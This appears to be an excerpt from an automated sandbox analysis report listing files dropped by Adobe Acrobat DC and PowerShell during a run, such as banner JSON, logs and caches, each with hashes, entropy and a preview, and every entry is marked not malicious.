SHA-512:	56DBBDB5CF24825A38960EA080C143CA357E41F07720FD2D856A43B64BF24280A8B3A7ADD5A8531AA2D59C034DA6B5E7D6EB008DD0DE8FC1A5F739579A59618F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6bcc20c7-1bbf-49f2-b2d5-1d2e22861c3a","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736720998100,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.296671613093591
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBjqxlHVHGnZiQ0YcHoAvJf+dPeUkwRe9:YvXKXBGxloc8G28Ukee9
MD5:	8CE28AF40F72258FA30C0E739D7E3439
SHA1:	317CE440D9B22A395AA53B8CA072F9A8B7E75E70
SHA-256:	2D60B227D886A23068485B558C22CB3F1B2AB534280E8B0AB170B2574DF6B8F6
SHA-512:	100C2EE8223B2C256EE53D1ADA2CDDD2D31C1EA4ABB193137AAD261A18E5D6FEEB64BDFFE63D23B8F140A7E0DD3593F0855CEFCA770E116DFDA1B57D0C6DFD84
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6bcc20c7-1bbf-49f2-b2d5-1d2e22861c3a","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736720998100,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.293912844192364
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBjqxlHVHGnZiQ0YcHoAvJfbPtdPeUkwRe9:YvXKXBGxloc8GDV8Ukee9
MD5:	BF33905C220347CF1F22836675E30728
SHA1:	F516E683CC598228C4C70F0D81DD4D5BCDCF677A
SHA-256:	2B2CAC4E92529AC317E7815595130B24A9A5CBB4750C041B265DD218DF0D0B76
SHA-512:	EA4665EB8A20FAF5270CB68323B48B5A091BBB1D6E5F106A96E3F8DCB7553C14BF66C257E3019B08FBD5AA95D195DE8FF0EC824C83BCE8BCB2CE1A9C491B7DA6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6bcc20c7-1bbf-49f2-b2d5-1d2e22861c3a","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736720998100,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.297124254229601
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBjqxlHVHGnZiQ0YcHoAvJf21rPeUkwRe9:YvXKXBGxloc8G+16Ukee9
MD5:	BB0619008031673E51E5A196293B70F4
SHA1:	D993464B96838C050ADB161B4766EA63BC7D9057
SHA-256:	06187A3CF7173962E25729CE6DCB892D2CB09FE513F0C9E14BE9FC09E758F7F7
SHA-512:	697B00A0B91A1242C716F7695B90E1BDEF869A24ACF7B2BF0A556E101A0063E0D0FBC01F1F9472134D45CF5957E77F53A149FF067B79F7E66A0FDF2469462B5D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6bcc20c7-1bbf-49f2-b2d5-1d2e22861c3a","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736720998100,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6626759057568306
Encrypted:	false
SSDEEP:	24:Yv6XBGJJamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSx3:YvEoBgkDMUJUAh8cvM5
MD5:	30118B39505479B7DDB1C5B34926BB67
SHA1:	96FD62DA24A128534D2A989E332BE97599AF9998
SHA-256:	C2328E544CCE2EE2078FD098865B9FE755930917000D58C974CB2971AAC6F1F0
SHA-512:	E02505BF4F0EF5F129021F5714986639487242EAA16DE8C08A31E0937AE06D39E13250E48177024EDADBC8A14E2F801AE2FF61E940DAEE469F47D475B170E9FA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6bcc20c7-1bbf-49f2-b2d5-1d2e22861c3a","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736720998100,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.274089962071852
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBjqxlHVHGnZiQ0YcHoAvJfshHHrPeUkwRe9:YvXKXBGxloc8GUUUkee9
MD5:	F9328FAA740D183C36F23040FCCE2CF6
SHA1:	6939B296B2AD3B8364449802B9285FDC9F80FE57
SHA-256:	F2C105068C577AFAC0D1C80FCBDD4DB56E7E5EF6D72416738783ED00908A56BF
SHA-512:	60BF49601FFE9A770FEC7FED443A031B7ED0B2A4680A8E75A7FB0E073492197A9EC2DB297168A1EBB707340214D85386FA0DB185AD7B9DF278011050BD9EE090
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6bcc20c7-1bbf-49f2-b2d5-1d2e22861c3a","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736720998100,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.270522249382324
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBjqxlHVHGnZiQ0YcHoAvJTqgFCrPeUkwRe9:YvXKXBGxloc8GTq16Ukee9
MD5:	E9BBA79419122437E13ECC1921CB36D4
SHA1:	5BD529E96CB4B344A0688F140FD1C87825043BC6
SHA-256:	9197BC75B97B2B0E8E0CE4EE80E327C6F90E5EB6DA780072E0E2AC838F80E8E0
SHA-512:	6E56BEF061C790392DFA7D23C5F9D6DBED40489B05021552313A427F0EBEBC215F34E8D261AF75D019224DC03EFB69B341E929CA6FF9D4DC50AA5E824B9D9D38
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6bcc20c7-1bbf-49f2-b2d5-1d2e22861c3a","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736720998100,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.140199557294396
Encrypted:	false
SSDEEP:	48:YMvDpfb2CG/3Kt0O233+a9KbS+eFW19daY:vpfbGO0O23GunMT
MD5:	B2404A89ADA9B9FCCADA1806EE995FE3
SHA1:	495CB71E8A22F9D84A4B70EC9948088FC79E372D
SHA-256:	55C979E53515C5BF13FD905D9CFD7EAB46A66FCED59EBB581E6BF7A5483230AD
SHA-512:	E5DF7EC1E035DACE05DC6C941AC195D2782F435554C576235B69235E042AB5CC4CF593D45A600C0D80B52EA3F9803D0424E3BF1A931852BAFB48A77654267888
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"c28526e1b7dc2cb9466334b60794be67","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736547342000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"215f1a91435b994b56822bb3c430942d","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736547342000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"208e13d7fb50ab4aa7aff5dfa2d1d0d5","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736547342000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"3e33cc04226741842e1a43681e305fef","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736547342000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"fd7abc166eb9498561c539b395516956","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736547342000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"6136a30bfc376d48138d78e465f0b573","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1457110311550402
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7ursMypRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudb:TFl2GL7msRXc+XcGNFlRYIX2v3ko
MD5:	2DDDBFAF3ABB1ECFCD82E0238B5745EB
SHA1:	5B80EE23BB81ADC958AE0A3AA6A0924AE9DBA64E
SHA-256:	88ECDED55C347F2319D9031A82B744897AA8595BEDA3052AE60C78F36D67296B
SHA-512:	711522655FB31979BF8B116D1ABFCCB61EC63AC25D8469B8E5E7B225A224F922C4CF32489B3767BDF838B83C65314B4D293A9E9DBEF5FBA3C45122C7E0A91F07
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5499556035003461
Encrypted:	false
SSDEEP:	24:7+tpypUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxDsqLxx/XN:7MJXc+XcGNFlRYIX2vZqVl2GL7ms/
MD5:	29DF2EB6592AC0BB40BDE6703661EE89
SHA1:	C5EA3E7D2F22435E8EA6553BFF1A07C5D8F66C1F
SHA-256:	B7BE2257B5E6554DDAB3138EEE4E2D5ED2DB331A9B6C8E29DE7179FD5E1C7FEF
SHA-512:	A73B48C9048F71BBFF49CD35FF5B311B37ABAADB9790890D295371EABEA857A0945667A49B02217EE82FC314CABCF5B22FDD3DA07258B716A34CD52A92F38987
Malicious:	false
Preview:	.... .c.......5I..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgIIPIVutFEuhttQpR6N7zfDLYyu:6a6TZ44ADEIIgUtF/hjzf3K
MD5:	5057D6A04E2CFDC5936E83D03D81E418
SHA1:	D5ACA6BA8BFC6811ED45DD07FF9DD245708699FF
SHA-256:	20B1B30F6F23BEAA4074A46E1DDD257BBE5A8D3B47D813E073BA2D6C228D07D2
SHA-512:	EF29A60A6AD82FD680DE4B584F9E783FA60D3761079F31050CBB411453B800121C427BDD40D2449DDBEFF953EB412EF026BEC36B08B9D39AFE46EC348BBAABD8
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulnmWllZ:NllUmWl
MD5:	3EBBEC2F920D055DAC842B4FF84448FA
SHA1:	52D2AD86C481FAED6187FC7E6655C5BD646CA663
SHA-256:	32441EEF46369E90F192889F3CC91721ECF615B0395CEC99996AB8CF06C59D09
SHA-512:	163F2BECB9695851B36E3F502FA812BFBF6B88E4DCEA330A03995282E2C848A7DE6B9FDBA740E3DF536AB65390FBE3CC5F41F91505603945C0C79676B48EE5C3
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIa4abf.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4967695053263634
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEe7UnH:Qw946cPbiOxDlbYnuRK+bDRH
MD5:	196FF1B245A0A2FCC341D20914D9A277
SHA1:	22F582C34CB6EC01A9310FC93E24A579177B5991
SHA-256:	611904FB45BC4EF47127476AD4793809F07BBBC37206FF263752AF4317BDA91B
SHA-512:	613D0E60F8359D3A08CF9A1E30FF8178231050E6653BE79D7644E9931234933718D798D37F0D1537FB8E4359FF2099A8C4E5FDD6DDEAC477D3F8DA9CD401907B
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.7.:.1.5.:.4.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mlrz50go.w5u.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zhaa4tos.p0c.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 17-15-36-029.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.350200866758142
Encrypted:	false
SSDEEP:	384:kRlMllQU+8Hmft34IMBNX9wphuhEOfP12pZv1dPxszMSYBnMMHZEXUXeDZTSQTLQ:lI7
MD5:	32052763AE2B65F34667A9FF01E50ED4
SHA1:	CFF8E2CAFAB99D638A422ABC6FF1206C30D8A9FF
SHA-256:	C4CE0440ED76CDA5CF57625D8FAD72F2D31F49671EDFE6E2AF2E5D6093CBFFF8
SHA-512:	ABD929B36682C2754F05846F3BA21A2AAEA00B71D8346E0C5EDB38E60FC710D0C8A7DFFB9CE3B2BFA4477EECB11ABDBA9678CAF5249587B443CA4CD5C488C287
Malicious:	false
Preview:	SessionID=75fa27df-4fb7-420a-9b67-1eced346baf3.1736547336041 Timestamp=2025-01-10T17:15:36:041-0500 ThreadID=7428 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=75fa27df-4fb7-420a-9b67-1eced346baf3.1736547336041 Timestamp=2025-01-10T17:15:36:042-0500 ThreadID=7428 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=75fa27df-4fb7-420a-9b67-1eced346baf3.1736547336041 Timestamp=2025-01-10T17:15:36:042-0500 ThreadID=7428 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=75fa27df-4fb7-420a-9b67-1eced346baf3.1736547336041 Timestamp=2025-01-10T17:15:36:042-0500 ThreadID=7428 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=75fa27df-4fb7-420a-9b67-1eced346baf3.1736547336041 Timestamp=2025-01-10T17:15:36:042-0500 ThreadID=7428 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.398566761839416
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbt6cbQInRcbB:V3fOCIdJDertnu
MD5:	1694A9BFA3703B8206A5671173914D16
SHA1:	744DA7A15AAF6DE4FFCC3056C02AACBE5DD5E6BC
SHA-256:	4C87476EAE0E97B9F672D3791FC617F5F668F4FF3D6B3661520BAF548061C31C
SHA-512:	5FE31C10E382413B37AB3D376D2E0F29F6CBD678DC31CCE1932C9AFACD932D95697973F218C234A5BE4610179631B7F74CFD2807535361C98DAC7FD9C7D0EDB7
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\2870ab4d-586e-422b-b095-b388600cc644.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:RB3mlind9i4ufFXpAXkrfUs03WLaGZje
MD5:	716C2C392DCD15C95BBD760EEBABFCD0
SHA1:	4B4CE9C6AED6A7F809236B2DAFA9987CA886E603
SHA-256:	DD3E6CFC38DA1B30D5250B132388EF73536D00628267E7F9C7E21603388724D8
SHA-512:	E164702386F24FF72111A53DA48DC57866D10DAE50A21D4737B5687E149FF9D673729C5D2F2B8DA9EB76A2E5727A2AFCFA5DE6CC0EEEF7D6EBADE784385460AF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\36f77bcd-6571-41d5-8de6-6498df2db3d5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
